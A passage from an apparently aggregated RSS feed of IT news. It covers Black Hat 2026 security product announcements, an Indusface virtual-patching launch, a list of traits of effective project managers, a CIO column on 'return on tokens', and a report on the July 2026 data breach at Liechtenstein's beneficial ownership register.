<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste, and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone. It requires an intelligent layer capable of observing, learning, and optimizing the entire agent ecosystem.</p>



<p class="wp-block-paragraph">That is the emerging role of the meta agent.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every technological revolution rewards organizations that learn to measure what others overlook.</p>



<p class="wp-block-paragraph">Factories measured productivity — not fuel consumption.</p>



<p class="wp-block-paragraph">Digital businesses measured customer engagement — not server utilization.</p>



<p class="wp-block-paragraph">The agentic enterprise will reward organizations that measure intelligence itself.</p>



<p class="wp-block-paragraph">The winners will not be those deploying the largest models. Nor the most agents. Nor consuming the fewest tokens.</p>



<p class="wp-block-paragraph">They will be the organizations that continuously maximize return on tokens, relentlessly reduce token entropy, and increase token exergy.</p>



<p class="wp-block-paragraph">I believe this is the next evolution of the agentic enterprise.</p>



<p class="wp-block-paragraph">Not simply governed intelligence, but economically optimized intelligence.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph">And in that future, meta agents will serve not only as the guardians of AI — but as the stewards of enterprise intelligence economics.</p>



<p class="wp-block-paragraph">Through this framework I strongly believe that executives can easily remember the key measures for economic intelligence. </p>



<ul class="wp-block-list">
<li><strong>ROT (return on tokens):</strong> How much value did AI create?</li>



<li><strong>Token entropy:</strong> Where are we wasting AI intelligence?</li>



<li><strong>Token exergy:</strong> How effectively are we converting AI intelligence into useful business work?</li>
</ul>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The top cybersecurity product announcements from Black Hat 2026]]></title>
<description><![CDATA[Black Hat 2026 is shaping up to be another AI-heavy conference, but this year’s announcements suggest the industry is moving beyond simply adding copilots to existing products.



Vendors are increasingly packaging AI into operational workflows, while pairing automation with governance, exposure ...]]></description>
<link>https://tsecurity.de/de/3703122/it-security-nachrichten/the-top-cybersecurity-product-announcements-from-black-hat-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703122/it-security-nachrichten/the-top-cybersecurity-product-announcements-from-black-hat-2026/</guid>
<pubDate>Tue, 04 Aug 2026 14:04:54 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://blackhat.com/us-26/" target="_blank" rel="noreferrer noopener">Black Hat 2026</a> is shaping up to be another AI-heavy conference, but this year’s announcements suggest the industry is moving beyond simply adding copilots to existing products.</p>



<p class="wp-block-paragraph">Vendors are increasingly packaging AI into operational workflows, while pairing automation with governance, exposure management, and recovery capabilities aimed at making autonomous security more practical for enterprise environments.</p>



<p class="wp-block-paragraph">Across this year’s launches, several themes stand out. Security vendors emphasize attack path analysis over raw vulnerability counts, integrating external threat intelligence directly into security and recovery workflows, and introducing purpose-built AI agents that promise to accelerate investigations without forcing customers to replace existing infrastructure.</p>



<p class="wp-block-paragraph">Below is a running list of the announcements that stood out.</p>



<h2 class="wp-block-heading">ArmorCode adds AI agents for vulnerability remediation</h2>



<p class="wp-block-paragraph">ArmorCode expanded its Agentic Control Plane with four new Anya AI agents and enhanced Context Risk Graph capabilities designed to help organizations prioritize and remediate vulnerabilities based on “real business risk” rather than raw CVE volume.</p>



<p class="wp-block-paragraph">The new capabilities introduce attack path analysis, network reachability mapping, patch management integration, and support for compensating controls such as <a href="https://www.csoonline.com/article/566615/what-is-a-waf-12-top-web-application-firewalls-compared.html">WAFs</a> and <a href="https://www.csoonline.com/article/568045/what-is-edr-endpoint-detection-and-response.html">EDR</a> platforms. The company says the new AI agents can investigate exploitability, recommend mitigations, assess cloud exposures, and orchestrate patch rollouts while reusing shared security context to reduce redundant AI analysis and operational costs.</p>



<h2 class="wp-block-heading">Cribl turns telemetry into AI observability</h2>



<p class="wp-block-paragraph">Cribl introduced a new AI Observability application alongside expanded detection engineering capabilities and stream-native detections. The AI Observability app promises enterprises visibility into AI model usage, token consumption, spending, and potential sensitive data exposure using telemetry they already collect.</p>



<p class="wp-block-paragraph">The company also enhanced its detection engineering capabilities through its CardinalOps acquisition by mapping detections to <a href="https://www.csoonline.com/article/574167/the-changing-role-of-the-mitre-att-ck-framework.html">MITRE ATT&amp;CK</a>, identifying coverage gaps, and applying AI-assisted workflows, while new stream-native detections aim to identify high-confidence threats directly from telemetry in motion without requiring another data platform.</p>



<h2 class="wp-block-heading">CommVault brings Google Threat Intelligence into recovery workflows</h2>



<p class="wp-block-paragraph">CommVault announced an integration between its Threat Scan and Google Threat Intelligence to help organizations identify clean recovery points after cyberattacks.</p>



<p class="wp-block-paragraph">The integration combines Google’s threat intelligence with CommVault’s backup validation workflows, while new inline file hash collection allows recovery points to be checked against threat indicators during backup operations. The company says the layered approach enables customers to validate recovery points faster before performing deeper malware or forensic analysis and strengthens its AI-enabled Synthetic Recovery capability. Availability is expected in the coming months.</p>



<h2 class="wp-block-heading">SOCRadar focuses on identity exposure intelligence</h2>



<p class="wp-block-paragraph">SOCRadar is introducing People Intelligence, a new identity-focused offering within its Extended Threat Intelligence (XTI) platform.</p>



<p class="wp-block-paragraph">The capability aggregates breached credentials, stealer logs, personally identifiable information, attacker telemetry, and other external identity exposure data into unified analyst records, allowing investigators to prioritize identity risks without integrating internal HR and IAM systems. Automated risk scoring and consolidated identity context are intended to reduce manual correlation work during investigations.</p>



<h2 class="wp-block-heading">Arctic Wolf doubles down on cyber resilience</h2>



<p class="wp-block-paragraph">Arctic Wolf unveiled a new Cyber Resilience offering that bundles managed detection and response, exposure management, endpoint protection, incident response, and up to $3 million in warranty protection into a single package. The offering is available immediately through Arctic Wolf and its partner ecosystem.</p>



<p class="wp-block-paragraph">Separately, Arctic Wolf also highlighted new milestones for its Aurora Agentic SOC, including processing more than 10 trillion security events per week, introducing a new Mean Time to Trusted Action (MTTA) metric, expanding its Swarm of Experts architecture, and enhancing customer visibility through updates to the Arctic Wolf Portal.</p>



<p class="wp-block-paragraph">Additionally, the company announced a partner-focused Cyber AI Readiness Accelerator that combines Aurora Attack Surface Management with consulting and remediation services from channel partners. The 30-day assessment is designed to help organizations inventory exposed assets, identify attack paths, prioritize remediation, and establish broader cyber resilience programs.</p>



<h2 class="wp-block-heading">Crogl pushes sovereign AI for the SOC</h2>



<p class="wp-block-paragraph">Crogl announced general availability of its Enterprise AI SOC Agent as a free download. Designed to run inside customer-controlled environments, including on-premises and air-gapped deployments, the autonomous investigation platform integrates with existing security tools without requiring new data pipelines or schema normalization. Crogl says the platform investigates alerts, performs threat hunts, documents investigative steps, and generates reports while allowing organizations to keep security data within their own infrastructure.</p>



<h2 class="wp-block-heading">Tanium expands autonomous security platform</h2>



<p class="wp-block-paragraph">Tanium announced several additions to its Autonomous IT Platform spanning agentic AI, exposure management, and security operations. New Alas capabilities include background AI agents, agentic performance analysis, expanded automation, and an <a href="https://www.csoonline.com/article/4087656/what-cisos-need-to-know-about-new-tools-for-securing-mcp-servers.html">MCP server</a> that exposes governed Tanium data to compatible AI assistants. The company also introduced External Attack Surface Management, Attack Path Mapping, Agent-Guided Threat Hunting, and a private preview integration with Google Threat Intelligence, extending its focus from endpoint management to coordinated autonomous security operations.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Indusface SwyftComply AI enables autonomous virtual patching for AI-discovered flaws]]></title>
<description><![CDATA[Indusface has announced SwyftComply AI, an autonomous vulnerability remediation solution that virtually patches vulnerabilities surfaced by AI-assisted pentesting. Artificial intelligence has changed the economics of application security. AI-powered security agents now uncover exponentially more ...]]></description>
<link>https://tsecurity.de/de/3702880/it-security-nachrichten/indusface-swyftcomply-ai-enables-autonomous-virtual-patching-for-ai-discovered-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702880/it-security-nachrichten/indusface-swyftcomply-ai-enables-autonomous-virtual-patching-for-ai-discovered-flaws/</guid>
<pubDate>Tue, 04 Aug 2026 12:22:16 +0200</pubDate>
<content:encoded><![CDATA[<p>Indusface has announced SwyftComply AI, an autonomous vulnerability remediation solution that virtually patches vulnerabilities surfaced by AI-assisted pentesting. Artificial intelligence has changed the economics of application security. AI-powered security agents now uncover exponentially more vulnerabilities than ever before. Yet remediation has not accelerated. Security teams are overwhelmed by findings while remediation remains constrained by engineering bandwidth. The cybersecurity industry has entered a new phase: the race has moved from finding vulnerabilities to protecting applications before … <a href="https://www.helpnetsecurity.com/2026/08/04/indusface-swyftcomply-ai/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/04/indusface-swyftcomply-ai/">Indusface SwyftComply AI enables autonomous virtual patching for AI-discovered flaws</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[20 traits of innovative and invaluable project managers]]></title>
<description><![CDATA[Projects are becoming more complex, with higher stakes and faster delivery times.



At the same time automation and AI are changing how projects are designed, managed, and delivered. Indeed, some pieces of project management are now routinely handled by machines.



Some may think that AI and au...]]></description>
<link>https://tsecurity.de/de/3702873/it-nachrichten/20-traits-of-innovative-and-invaluable-project-managers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702873/it-nachrichten/20-traits-of-innovative-and-invaluable-project-managers/</guid>
<pubDate>Tue, 04 Aug 2026 12:16:11 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Projects are becoming more complex, with higher stakes and faster delivery times.</p>



<p class="wp-block-paragraph">At the same time automation and AI are changing how projects are designed, managed, and delivered. Indeed, some pieces of project management are now routinely handled by machines.</p>



<p class="wp-block-paragraph">Some may think that AI and automation will make project managers obsolete, or at least less critical to project success. Executives say that’s not the case. Project managers are as important now as they ever were to project success.</p>



<p class="wp-block-paragraph">“As we move forward, the role of project manager is actually becoming increasingly important for finding the right things to invest in, defining scope, and staying focused on value,” says <a href="https://www.linkedin.com/in/noah-fletcher-9012ba4/">Noah Fletcher</a>, a partner in the operations excellence practice at consultancy West Monroe. “As we continue to accelerate, their value is really about quality — quality of what you’re trying to accomplish.”</p>



<p class="wp-block-paragraph">That doesn’t mean that the role of project manager is static. Rather, the role is evolving, with what it takes to be successful is changing to meet the needs of the moment.</p>



<p class="wp-block-paragraph">To thrive, project managers need to hone a complex combination of technical, business, and interpersonal skills. The Project Management Institute attempts to decode what it takes to be a successful project manager with its <a href="https://www.pmi.org/learning/training-development/talent-triangle">PMI Talent Triangle</a>, comprising Ways of Working, Power Skills, and Business Acumen.</p>



<p class="wp-block-paragraph">Not surprisingly, there’s a lot packed into those three areas. Effective project managers must know how to define <a href="https://www.cio.com/article/193441/what-is-project-scope-defining-and-outlining-project-success.html">the scope of a project</a>, identify necessary resources, and schedule those resources — all part of the technical aspect of the job. They must also <a href="https://www.cio.com/article/196244/stakeholder-management-your-plan-for-influencing-project-outcomes.html">manage stakeholders</a> and ensure projects align with business goals — skills that fall under the other two talent buckets.</p>



<p class="wp-block-paragraph">As lengthy as the PMI’s list of required skills is, experienced project leaders say that’s not enough to rise to the top of the profession; highly effective project managers today bring even more to their jobs.</p>



<p class="wp-block-paragraph">They’re curious, flexible, and adaptive — and they learn from and know how to right their mistakes. They’re empathetic, persuasive, and visionary. They know how to play to their own and others’ strengths.</p>



<p class="wp-block-paragraph">Leading project professionals say the most successful PMs are those who know the academic parts of the job — that is, the elements that are taught — but they also bring finesse to the work.</p>



<p class="wp-block-paragraph">So, what characteristics distinguish the most effective project managers? Longtime project leaders list the following key traits and skills as vital to succeeding at a high level.</p>



<h2 class="wp-block-heading">1. They serve as a strategic business partner</h2>



<p class="wp-block-paragraph">Top-level project managers are more than good managers. They have high-level strategic leadership skills and know how their projects fit within overall strategic goals, making them well equipped to make the right decisions for the project and the organization as a whole.</p>



<p class="wp-block-paragraph">“A project exists because it responds to a need of the business. That might be due to trends impacting the business or a challenge in running the business, but without understanding that, it will be hard for the project manager to deliver a successful project,” says <a href="https://www.pmi.org/about/leadership-governance/karla-eidem">Karla Eidem</a>, a Project Management Professional (PMP) and PMI’s global head of transformation and project delivery.</p>



<h2 class="wp-block-heading">2. They know the business</h2>



<p class="wp-block-paragraph">The most effective project managers aren’t just great leaders; they’re also business-savvy.</p>



<p class="wp-block-paragraph">“They understand strategy and business context,” Fletcher says. As they deal with shifting resources and changing market dynamics that happen during many projects, they focus on what work will bring business value — not merely what will tick off items on a task list. “That ability to work on the right thing is one of the most important things that a project manager can have,” Fletcher adds.</p>



<h2 class="wp-block-heading">3. They’re strong technologists</h2>



<p class="wp-block-paragraph">Projects today nearly always involve technology, making it essential to have technology skills. But standout project managers are true technologists, too.</p>



<p class="wp-block-paragraph">“Increasingly IT is touching so many different area, and we’re seeing systems and architecture getting more connected, so understanding how business and operations fit together is critical,” Fletcher says.</p>



<h2 class="wp-block-heading">4. They’re financially astute</h2>



<p class="wp-block-paragraph">Project management always involved budget management, but the task today requires more than balancing the books. It also involves understanding how projects and the core components of any given initiative bring value to the business. That takes financial acumen and the ability to make smart decisions during project execution to ensure the business sees returns on its investment.</p>



<p class="wp-block-paragraph">“The best project managers know the business drivers and can get depth on how the project impacts the business financially,” Fletcher says. “They have a good value management framework, that end-to-end process that can take the business case all the way through.”</p>



<h2 class="wp-block-heading">5. They possess extraordinary organizational skills</h2>



<p class="wp-block-paragraph">Top-notch project managers are highly organized individuals. But it’s not just about making a list and sticking with it. They understand how project plans and resources are intertwined with other goings-on within the organization. That organizational capacity enables them to adjust their plans and resources when needed.</p>



<p class="wp-block-paragraph"><a href="https://www.pmi.org/about/leadership-governance/lenka-pincot">Lenka Pincot</a>, chief of staff to the CEO at PMI, says today’s top-notch project managers are “orchestrators” who can pull together the complex components of modern projects and get them to work in harmony.</p>



<p class="wp-block-paragraph">“Organizations need orchestrators who can synchronize all the changes happening so the results all make sense,” she says. She notes that orchestration takes systems thinking as well as the ability to identify and plan for unintended consequences.</p>



<h2 class="wp-block-heading">6. They’re problem-solvers</h2>



<p class="wp-block-paragraph">The best project managers are good at delving into and solving for the “why” behind projects.</p>



<p class="wp-block-paragraph">“They enjoy problem-solving,” Pincot says. “[As project managers], we’re not handed projects; we are handed problems to solve. So we need to get to the bottom of what’s not working. We need to ask questions and really listen for what someone’s true interests are.”</p>



<h2 class="wp-block-heading">7. They thrive in fast-paced environments</h2>



<p class="wp-block-paragraph">Executives constantly talk about the speed of change today. Teams must work fast to keep up with shifting technology and business contexts, and project managers must be able to facilitate that, Fletcher says.</p>



<p class="wp-block-paragraph">“The ability to quickly identify the right tools, assign the right resources, accelerate testing, and to move things forward fast without compromising quality is a huge thing today,” he adds.</p>



<h2 class="wp-block-heading">8. They are flexible</h2>



<p class="wp-block-paragraph">Similarly, highly effective project managers are flexible, so they themselves aren’t flummoxed when project plans need adjustments — something that happens increasingly more often in the modern digital world.</p>



<p class="wp-block-paragraph">“Adaptability is huge,” says <a href="https://www.linkedin.com/in/krista-phillips-pmp-858aab98/">Krista Phillips</a>, a PMP holder and project management consultant. “Things are always going to change, priorities adjust, resources adjust, timelines change. Project managers must be able to successfully manage all that.”</p>



<h2 class="wp-block-heading">9. They are persuasive</h2>



<p class="wp-block-paragraph">Project managers typically manage teams but aren’t the boss of any of them, meaning they must be capable of leading and workers without having to lean on any official authority, explains <a href="https://www.linkedin.com/in/juliefbutcher/">Julie Butcher</a>, a fractional CIO work and transformation principal consultant with Butte Information Group. The best project managers are masters of this skill.</p>



<h2 class="wp-block-heading">10. They have ‘extreme awareness’</h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/barry-cousins">Barry Cousins</a>, a distinguished analyst and research fellow specializing in project portfolio management, project management, and organizational change management at Info-Tech Research Group, says top project managers possess what he calls “extreme awareness of resource capacity and utilization.”</p>



<p class="wp-block-paragraph">“Savvy project managers in the modern era have immediate implicit awareness of the capacity around them, so then they’re going to know right off the bat when their projects are going to fall short,” Cousin adds. Furthermore, they’re more comfortable alerting business leaders to that situation because they’re able to quantify the shortfall.</p>



<p class="wp-block-paragraph">Others agree, saying this all speaks to the need for project managers to have strong emotional intelligence.</p>



<h2 class="wp-block-heading">11. They have highly tuned stakeholder management skills</h2>



<p class="wp-block-paragraph">Project managers work with numerous stakeholders from various departments within and outside their organizations, and those who manage those relationships best understand each stakeholder’s perspectives, say <a href="https://www.linkedin.com/in/te-wu/">Te Wu</a>, CEO and chief project officer at PMO Advisory.</p>



<p class="wp-block-paragraph">Wu adds that stakeholders can now also include AI agents.</p>



<p class="wp-block-paragraph">For example, some stakeholders may be more risk adverse than others, or more resistant to change, or more prone to panic when problems arise.</p>



<p class="wp-block-paragraph">Veteran project leaders say managers who can identify and empathize with those perspectives can tailor their communications, plans, and training to address each stakeholder’s unique points of view.</p>



<h2 class="wp-block-heading">12. They understand who has authority</h2>



<p class="wp-block-paragraph">Organizations today have distributed authority, so project managers must know who has say over what pieces — whether they’re dealing with 10 IT architects who each control a piece of the IT environment or 10 executives who have responsibilities for separate areas of the enterprise impacted by a project.</p>



<p class="wp-block-paragraph">“The savvy project manager knows to give them all room to succeed,” Cousins explains. That means staying on top of what each person’s realm of authority needs for the project to succeed, identifying who has ownership for what pieces, and knowing which person has true authority and can get others to line up behind him or her.</p>



<p class="wp-block-paragraph">“It often requires getting to know people who are at a layer of the company that you don’t play in,” Cousins says.</p>



<h2 class="wp-block-heading">13. They can navigate office politics</h2>



<p class="wp-block-paragraph">In addition to being good at stakeholder management, elite project managers also know how to navigate office politics. That means navigating not only individual stakeholder’s needs and expectations but also understanding how those stakeholders interact with each other, who has influence over the others, and who has power to override the authority of others.</p>



<p class="wp-block-paragraph">“They know when to apply what type of pressure to get something accomplished,” Wu adds.</p>



<h2 class="wp-block-heading">14. They’re decisive</h2>



<p class="wp-block-paragraph">Given the speed, complexity and fluidity of project work today, project managers must be critical thinkers and decisive decision-makers. Otherwise, they risk falling into analysis-paralysis and bringing work to a halt.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/varunbijlani/">Varun Bijlani</a>, global managing partner for solutions and delivery at IBM Consulting, says the best project managers can confidently and consistently make good calls even in the face of ambiguity.</p>



<p class="wp-block-paragraph">“IT projects are rife with it, even though everyone walks in expecting full clarity and specificity: requirements shift, priorities compete, expectations are unclear, unplanned technical issues arise,” he says. “AI can surface options and synthesize information fast, but it can’t apply the contextual judgment, reasoning, and organizational awareness needed to weigh trade-offs and commit to a direction when the path isn’t clear. That’s still a human call.”</p>



<h2 class="wp-block-heading">15. They communicate effectively</h2>



<p class="wp-block-paragraph">Considering communication plays a significant role in <a href="https://www.cio.com/article/196244/stakeholder-management-your-plan-for-influencing-project-outcomes.html">managing projects, teams, and other stakeholders</a>, it is one of the essential skills for effective project managers, according to longtime project managers.</p>



<p class="wp-block-paragraph">Communication doesn’t just mean being a stellar facilitator, speaker, or writer; it requires good listening skills, too. As such, top managers actively listen to what’s said — and not said — and can take context into account.</p>



<p class="wp-block-paragraph">These skills enable project managers to synthesize information and then clearly and concisely sharing that information back with all those involved, Pincot explains.</p>



<p class="wp-block-paragraph">“They have to be able to translate business needs to technology teams and explain how technology creates value for the business so that everyone can understand and trust that information,” she adds.</p>



<h2 class="wp-block-heading">16. They build community</h2>



<p class="wp-block-paragraph">“I believe the ‘P’ in PM is for the people: You can’t do a project without a team. And the team might not report to the project manager, so you have to have collaborative leadership, problem-solving, and communication skills to activate your team. Without that you can’t really move the needle,” Eidem says. “But in a project, you’re working with people who might have different priorities and different understanding of the goals of the project, so it’s the project manager’s responsibility to make sure everyone is aligned and knows where they’re going.”</p>



<p class="wp-block-paragraph">Butcher agrees, saying that the best project managers know how to build a sense of community among the teams as well as with the workers on the periphery of projects so that everyone is willing to work toward a shared objective.</p>



<h2 class="wp-block-heading">17. They build rapport</h2>



<p class="wp-block-paragraph">Top project managers are also skilled at developing strong rapport with those around them — even for short-lived projects — knowing that good connections and solid relationships lead to success.</p>



<p class="wp-block-paragraph">“When you build rapport, there’s a shared understanding,” Phillips says. That shared understanding pays dividends. Project managers who take time to build up relationships are more likely to have others share information that could impact their projects, and they’re more likely to get help from others if they make difficult requests — such as staying late or coming in on a weekend to catch up.</p>



<h2 class="wp-block-heading">18. They’re confident leaders</h2>



<p class="wp-block-paragraph">According to Wu, effective project managers must possess confidence.</p>



<p class="wp-block-paragraph">“They have a can-do attitude, and that attitude needs to be a bit infectious,” he says. “They don’t have the be cheerleaders, but they do have to have a mindset that sees what’s possible and not just the issues and what’s at risk.”</p>



<p class="wp-block-paragraph">That allows them to present an optimistic attitude that can propel teams forward even during difficult stretches, Butcher adds. Project managers who possess such confidence are those with a track record of success and are competent in foundational project management skills such as planning and team-building, she says.</p>



<h2 class="wp-block-heading">19. They serve as change agents</h2>



<p class="wp-block-paragraph">Change is inevitable and can be highly disruptive to all areas of business and personal life; project management is no exception. Highly effective project managers understand this, embrace it, and build elements of uncertainty into their project plans. They also recognize the need to work closely with change management experts to help stakeholders adapt to change and better prepare for the future state of things.</p>



<h2 class="wp-block-heading">20. They possess an even-keeled demeanor</h2>



<p class="wp-block-paragraph">Even well-planned projects run into problems, and even highly skilled project managers can hit significant setbacks. But the best project managers don’t display panic, anger, or despair even under pressure; they keep their cool.</p>



<p class="wp-block-paragraph">“Projects can create a lot of pressure, and there can be seemingly conflicting priorities, so staying calm is an essential trait for project managers,” Pincot says.</p>



<p class="wp-block-paragraph"><strong>More on project management:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/244577/top-project-management-methodologies.html">Top 20 project management methodologies</a></li>



<li><a href="https://www.cio.com/article/228109/project-management-tips-strategies-best-practices.html">Project management guide: Tips, strategies, best practices</a></li>



<li><a href="https://www.cio.com/article/230682/what-is-a-project-manager-the-lead-role-for-project-success.html">What is a project manager? The lead role for project success</a></li>



<li><a href="https://www.cio.com/article/230398/top-project-management-certifications.html">Top 15 project management certifications</a></li>



<li><a href="https://www.cio.com/article/286354/project-management-7-must-have-project-management-skills-for-it-pros.html">7 must-have project management skills</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Liechtenstein Cyberattack Exposes Data From Beneficial Ownership Register]]></title>
<description><![CDATA[The Liechtenstein cyberattack has prompted authorities to investigate a major security breach after copies of sensitive data linked to around 31,000 legal entities were unlawfully accessed from the country's Register of Beneficial Owners (VwbP).  

Following the cyberattack on Liechtenstein, of...]]></description>
<link>https://tsecurity.de/de/3702825/it-security-nachrichten/liechtenstein-cyberattack-exposes-data-from-beneficial-ownership-register/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702825/it-security-nachrichten/liechtenstein-cyberattack-exposes-data-from-beneficial-ownership-register/</guid>
<pubDate>Tue, 04 Aug 2026 12:09:07 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="815" height="492" src="https://thecyberexpress.com/wp-content/uploads/VwbP.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="VwbP" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/VwbP.webp 815w, https://thecyberexpress.com/wp-content/uploads/VwbP-300x181.webp 300w, https://thecyberexpress.com/wp-content/uploads/VwbP-768x464.webp 768w, https://thecyberexpress.com/wp-content/uploads/VwbP-600x362.webp 600w, https://thecyberexpress.com/wp-content/uploads/VwbP-150x91.webp 150w, https://thecyberexpress.com/wp-content/uploads/VwbP-750x453.webp 750w, https://thecyberexpress.com/wp-content/uploads/VwbP.webp 815w, https://thecyberexpress.com/wp-content/uploads/VwbP-300x181.webp 300w, https://thecyberexpress.com/wp-content/uploads/VwbP-768x464.webp 768w, https://thecyberexpress.com/wp-content/uploads/VwbP-600x362.webp 600w, https://thecyberexpress.com/wp-content/uploads/VwbP-150x91.webp 150w, https://thecyberexpress.com/wp-content/uploads/VwbP-750x453.webp 750w" sizes="(max-width: 815px) 100vw, 815px" title="Liechtenstein Cyberattack Exposes Data From Beneficial Ownership Register 1"></p><span data-contrast="auto">The Liechtenstein cyberattack has prompted authorities to investigate a major security breach after copies of sensitive data linked to around 31,000 legal entities were unlawfully accessed from the country's Register of Beneficial Owners (VwbP). </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Following the cyberattack on Liechtenstein, officials temporarily suspended external access to the register while investigations continue. Although <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29245">data</a> was exfiltrated, the government said there is currently no evidence that records were altered or deleted.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Cyberattack on Liechtenstein's VwbP Register</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to the Liechtenstein government, the VwbP was targeted during the night of 29/30 July 2026, when unknown attackers gained unauthorized digital access to the system. Irregularities were detected by the Office of Justice on 30 July, prompting the Office of Information Technology to investigate, secure the affected systems, and immediately take the register offline.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">In a statement, the <a href="https://www.wealthbriefing.com/html/article.php/liechtenstein-beneficial-ownership-register-hit-by-cyber-attack-" target="_blank" rel="nofollow noopener">government said</a>, "Copies of data relating to around 31,000 legal entities were unlawfully exfiltrated." It added that the register would remain unavailable to external users through the llv.li website until further notice. "According to the current state of knowledge, there are no indications that data in the system was modified or deleted," the statement noted.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Liechtenstein Cyberattack Triggers Government Response</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The cyberattack on Liechtenstein has highlighted the growing cybersecurity <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="29244">risks</a> facing international financial centres that manage assets for wealthy individuals, businesses, trusts, and other institutions. The VwbP is maintained to support anti-money laundering and counter-terrorist financing efforts by recording the beneficial owners of companies, foundations, trusts, and other legal entities.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Authorities began reviewing the incident immediately after the suspicious activity was detected. On 31 July, the government was informed that the attack on the VwbP had likely succeeded. Preliminary <a href="https://thecyberexpress.com/tiktok-age-verification-probe-launched-by-uk/" target="_blank" rel="noopener">investigation</a> results were delivered on the afternoon of 1 August 2026, leading the government to establish a crisis unit that same Saturday evening. The unit, formally confirmed the following day, is headed by Prime Minister Brigitte Haas and Minister of Justice Emanuel Schädler.</span>

<span data-contrast="auto">The Register of Beneficial Owners Act (VwbPG) came into force in 2021, implementing the requirements of the 5th EU Anti-Money Laundering Directive. The government also confirmed that the Liechtenstein cyberattack constitutes a personal <a href="https://thecyberexpress.com/origin-energy-data-breach-900000-customers/" target="_blank" rel="noopener">data breach</a> under the General Data Protection Regulation (GDPR).</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">VwbP Breach Raises Concerns Over Digital Trust</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Commenting on the broader implications of the breach, Steve Lamb, CEO of Kyckr, said registries are becoming critical to Europe's evolving digital trust framework. "Under the digital trust model taking shape in Europe, the registry stops being a noticeboard we query and becomes the authentic source, a body that can sign a statement about who owns and controls a company, which thousands of institutions then rely on," he said.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Lamb added that as registries become trusted sources for verifying ownership, their <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29246">security</a> becomes fundamental to the wider financial ecosystem. "The debate can't only be about standards, schemas and interoperability. Registries are becoming critical financial infrastructure, and they should be resourced like it." </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The <a href="https://thecyberexpress.com/uidai-and-nfsu-cybersecurity-digital-forensics/" target="_blank" rel="noopener">digital trust model</a> he referred to is the European Business Wallet, eIDAS 2.0. As investigations into the VwbP breach continue, officials are working to determine the full impact of the Liechtenstein <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29247">cyberattack</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
